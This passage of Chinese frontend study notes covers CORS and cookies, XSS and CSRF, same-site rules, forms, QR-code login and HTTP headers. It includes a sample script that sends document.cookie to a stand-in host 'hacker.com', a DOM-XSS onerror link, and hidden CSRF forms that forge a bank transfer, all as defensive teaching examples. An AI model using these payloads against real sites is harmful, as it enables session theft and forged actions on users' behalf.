Access-Control-Allow-Credentials: true

如果响应中未正确返回上述字段,或 Access-Control-Allow-Origin 使用了通配符 *,那么浏览器会拦截此次携带凭据的跨域请求的响应结果。

简单的来说,不但需要前端配置withCredentials: true,还需要后端配置CORS,才能实现跨域携带cookie。

举个例子

如果当前页面是 www.bilibili.com,并且你发送一个请求,请求的域名是 www.bilibili.com,因为这个请求没有跨域,那么无论是设置为 Domain=www.bilibili.com 的 Cookie, 还是设置为 Domain=.bilibili.com 的 Cookie 都会被自动携带。

但当你在 https://www.bilibili.com 页面下,发送请求 https://game.bilibili.com 时,这是一个跨域请求,但是没跨站Domain=www.bilibili.com 的 Cookie不会被自动携带,因为它们仅限于 www.bilibili.comDomain=.bilibili.com 的 Cookie可能会被携带,但是需要满足以下条件:

  • 客户端在请求中明确设置了 withCredentials: true
  • 服务器在响应中,正确配置了 CORS 头,允许凭据传输。

如果withCredentials的值为false(就是没有配置或者配置为false),那即便Domain=.bilibili.com的cookie能在game.bilibili.com下生效,也不会被携带。

如果发送请求,请求的域名是www.sanye.blog,很明显这是一个跨站请求(同时也是一个跨域请求),此时如果我们想要这个请求能携带cookie,就必须在请求的时候设置withCredentials = true,然后服务器还需要响应正确的cors头,同时cookie的SameSite的值必须为None

前端网络安全

XSS

跨站脚本攻击(Cross-Site Scripting,简称XSS),不叫css主要是为了和防止和层叠样式表(Cascading Style Sheets, CSS)混淆。

只有动态页面才会受到xss攻击,而纯静态页面则不会

核心思想

让受害者浏览器执行攻击者注入的外部 JS 脚本,这些外部脚本可能是后端拼接而来的,也可能是前端拼接而来的

攻击原理

假设你有一个论坛网站,用户可以发帖:

1
2
标题:<input type="text" name="title">
内容:<textarea name="content"></textarea>

攻击者发了一个帖子,内容是:

1
2
3
4
<script>
// 窃取用户的 cookie(包含登录信息)
fetch('https://hacker.com/steal?cookie=' + document.cookie);
</script>

如果你的网站没有对内容做转义或过滤,这段代码就会被当作 HTML 渲染,所有访问这个帖子的用户都会执行这段脚本!

一旦脚本执行,攻击者可以:

  • 窃取 cookielocalStorage 中的 token
  • 冒充用户发送请求(如转账、发消息)
  • 记录键盘输入(密码、银行卡)

XSS分类

  • 反射型:反射型常出现在服务端渲染中,攻击者构造一个包含恶意脚本(如 <script>alert(1)</script>)的链接,诱使用户点击;服务器将链接中的参数(如 ?search=<script>...</script>未经转义直接嵌入到 HTML 响应中;用户浏览器解析该 HTML 时执行恶意脚本。

  • 存储型:比如攻击者在某网站上发布了一篇文章,在文章中插入了恶意脚本,然后发布文章,文章的数据会被存储到数据库中,后续所有访问这个文章的用户都会被攻击。但其实这种攻击很好防御,只要前端在输入文章内容时转义HTML标签,或者插入文本时不使用innerHTML即可,如果必须渲染富文本,使用 DOMPurify 等库清洗,它会解析 HTML 字符串,移除所有可能执行脚本的标签/属性(如 <script>、onerror、javascript: 链接等)

  • dom型xss:通过修改页面的 DOM 环境(如 URL 参数、DOM 节点),插入恶意脚本,在浏览器中被 JavaScript 动态执行,而服务端返回的 HTML 本身是干净的。整个攻击过程完全发生在浏览器的前端(客户端)不涉及服务端响应内容的直接污染

    比如:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    <!-- index.html(静态文件,服务端无任何动态逻辑) -->
    <!DOCTYPE html>
    <html>
    <body>
    <div id="welcome"></div>
    <script>
    // 从 URL hash 中读取用户名并显示
    const name = location.hash.substring(1); // 获取 # 后的内容
    document.getElementById('welcome').innerHTML = 'Hello, ' + name;
    </script>
    </body>
    </html>

    攻击者构造恶意链接:

    1
    https://example.com/#<img src=x onerror=alert(document.cookie)>

    用户点击后,浏览器加载 index.html(服务端返回的是干净的 HTML),前端 JS 执行:name = "<img src=x onerror=alert(...)>"innerHTML = "Hello, <img ...>" → 浏览器解析 HTML,执行 onerror 中的脚本!

如何防御 XSS?

  • 输入过滤,转义html字符(大于号小于号,前端框架支持自动过滤,转义html字符)。但是只依赖前端过滤是不可行的,因为攻击者可以直接构造请求,绕过前端过滤,而且前端过滤还有一个问题,&lt;&gt;在app上并不能自动展示成小于号和大于号,而是原样展示。
  • 非必要不使用innerHTML,而是使用innerText属性。如果不得不使用innerHTML,则先清洗HTML字符串,删除可能执行JS的标签或者属性,比如script标签以及各种事件属性(都是on开头,比如onload,onerror)还有哪些支持javascript协议的标签比如a标签。
  • 给隐私敏感的cookie添加httponly属性,避免恶意脚本窃取cookie。

CSRF

Cross-Site Request Forgery,跨站请求伪造,利用用户已登录的身份,在用户不知情的情况下,伪造请求。主要是利用了cookie能随请求自动携带的特点

假设你登录了银行网站 bank.com,浏览器保存了 Cookie(含登录状态)。

攻击者诱导你访问一个恶意网站 hacker.com,其页面包含:

1
2
<!-- 隐藏的 form,自动提交,向攻击者转账10000 -->
<img src="http://bank.com/transfer?to=attacker&amount=10000" width="0" height="0">

或者:

1
2
3
4
5
<form action="http://bank.com/transfer" method="POST">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="10000">
</form>
<script>document.forms[0].submit();</script>

由于你已经登录 bank.com,浏览器会自动携带 Cookie,请求成功执行!

跨站请求不是不会自动携带cookie吗,上述例子是跨站请求,怎么会自动携带cookie?

CSRF 攻击利用的是 <form> 提交<img> 等 HTML 元素的“跨站请求”能力,这些请求是“跨站(Cross-Site)”,但浏览器仍然会自动携带 Cookie,前提是:目标网站(如 bank.com)的 Cookie 没有设置 SameSite 属性,或设置为 SameSite=Lax/None。

解决方法

设置隐私敏感的cookie的SameSite属性为strict。对于storage中的数据,由于严格遵循同源策略,所以天然避免了CSRF攻击的风险。

对比

维度XSSCSRF
全称Cross-Site ScriptingCross-Site Request Forgery
攻击目标执行脚本,窃取用户数据利用用户身份发起请求,通常是跨站请求
攻击方式注入恶意脚本伪造请求
依赖条件网站存在输入漏洞用户已登录 + 无 CSRF 防护
是否需要用户交互通常需要点击或访问恶意页面可能完全无感
典型存储位置localStoragecookie(非 HttpOnly)cookie(自动携带)
主要防御输入转义、CSP、HttpOnlySameSite

其他

  • 存储位置:cookie 数据存放在客户的浏览器上,session 数据放在服务器上
  • 安全问题:cookie由于存储在客户端浏览器中,所以有安全问题,而session 由于存储在服务器中,所以安全问题较小
  • 内存开销:session由于存储在服务器中,占用服务器内存,所以为了减少服务器内存开销,应当适当使用cookie

网页中的绝对路径和相对路径

绝对路径

绝对路径有3种格式,一种是完整的URL,一种是省略协议名的URL,省略协议名能很好的解决因为在https网页下加载http资源而引发的警告。还有一种是以/开头的路径,会自动和当前页面的协议和域名拼接,而直接忽略当前页面的资源路径path

相对路径

相对路径也有3种格式,但是无论哪种,都需要参考当前页面所在的资源路径path,具体的形式和操作系统中文件的相对路径格式一致。

form元素

  • form元素就是用来发送请求的,其action属性指定请求的目标地址,其method属性指定请求的方法(默认请求方法是GET)

  • 表单中的一个个输入框,就是用来填写请求体的,input的name属性就是请求体(一个对象)中的属性名,input框中的值就是请求体中某个属性的值

  • 点击form元素中的<button type="submit">,就会触发浏览器自动发送请求并进行页面跳转

  • form元素还要一个非常好用的功能,就是在input框中按下enter键,也会自动发送请求,为了利用这一点,又不希望form元素自动提交,我们可以监听form元素的submit事件并阻止其默认行为,然后通过JS来发送请求。

  • form提交的POST请求的请求体的格式,默认是application/x-www-form-urlencoded

跨站和跨域有什么区别?什么是主域名,子域名?

添加这部分内容主要是为了后续理解cookie和localStorage

浏览器通过 eTLD+1 判断是否属于同站(Same-Site)请求,防止跨站攻击。其中eTLD( Effective Top-Level Domain),意为有效顶级域名

  • www.bilibili.comgame.bilibili.com同站(共享 eTLD+1,即 bilibili.com)。
  • a.github.iob.github.io跨站(因 github.io 是公共后缀,视为不同站点)。

我们可能会问,com是有效顶级域名,允许用户直接注册二级域名(如 example.com),但这里的io为什么就不是有效顶级域名?github.io要被视为公共后缀(也就是特殊的顶级域名)。因为这类特殊的顶级域名,不允许用户直接注册二级域名,通常由服务商统一管理子域,防止恶意网站通过子域共享 Cookie 或凭据(如 user1.github.iouser2.github.io 应视为不同站点)

主域名通常就是eTLD+1,域名的其他部分就是子域名,因此我们可以说,简单的来说,主域名相同就是同站,否则就是跨站

完整域名eTLD(有效顶级域名)eTLD+1(主域名)
www.bilibili.com.combilibili.com
user.github.iogithub.io(公共后缀)user.github.io
shop.co.uk.co.ukshop.co.uk

跨域就是浏览器基于同源策略,推出的安全手段,请求的域名,协议,端口号中有一项和当前页面的不同,就是跨域请求,跨域不一定跨站(比如只是协议不同),但是跨站就一定跨域(因为跨站域名一定不同)。

说说二维码登录流程

  • 用户在网页上选择二维码登录选项。

  • 网页携带设备信息(如浏览器类型、操作系统等)向服务器请求生成用于登录的二维码;服务端生成一个二维码id,并将这个id与请求中携带的设备信息绑定,存储在服务器数据库中,把二维码id返回给网页。

  • 网页获取二维码id后,展示二维码,并轮询二维码状态(设置定时器,每个一段时间发送一个ajax请求询问二维码状态)。

  • 用户用移动设备扫描二维码,获取到二维码id,移动设备将账号信息连同二维码id发送给服务器

  • 服务端收到信息后会将账号信息二维码id绑定,并返回一个临时token;此时移动端会提示是否登录,pc端二维码状态变为已扫描

  • 移动端确认登录,会将临时token发送到服务器,服务器收到token后会根据二维码id绑定的设备信息用户信息生成一个用于pc端登录的token,并在pc端轮询二维码状态的时候返回给pc端

如何实现控制文件点击下载或者预览

前端

不添加download属性,点击链接默认预览图片

通过a标签的download属性强制下载,但是必须要求网页以http/https协议(网络协议)加载,不能是直接打开的网页。

1
<a href="./violet.png" download="薇尔莉特">点击下载</a>

给download赋值可以指定下载时,使用的文件名。如果省略此属性,则浏览器会尝试自动解析URL中的文件名(寻找默认文件名)

后端

可以在响应头中通过设置Content-disposition来决定是下载还是预览,因为点击a链接会送一个获取图片(文件)的请求。

inline:指示浏览器直接显示内容(如在浏览器窗口或新标签页中打开),这是默认行为。

attachment:指示浏览器将内容作为附件下载,同时还可以通过filename指定下载名称

1
2
Content-Disposition: inline;
Content-Disposition: attachment; filename="example.pdf";

如何让图片复制后的链接失效

在链接中添加token,让这个链接变成临时链接

使用URL.createObjectURL创建的临时url来展示图片

host referer origin

Host

就是请求的目标域名+端口号,端口号有时候可以省略

Referer

作用:Referer 头部包含了发起当前请求的页面的URL。它主要用于追踪用户是从哪个页面跳转过来的,有助于分析流量来源以及实现防盗链等功能。

注意拼写错误:虽然正确的英文单词应该是“Referrer”,但在HTTP协议中该头部被误写作“Referer”。

格式:Referer: http://example.com/path

1
Referer: https://www.example.com/previous-page

Origin

Origin 头部用于标识发起请求的源站点(scheme, host, port),它主要应用于跨域请求中,用来告知服务器请求的来源,以便决定是否允许该请求。

1
Origin: https://www.example.com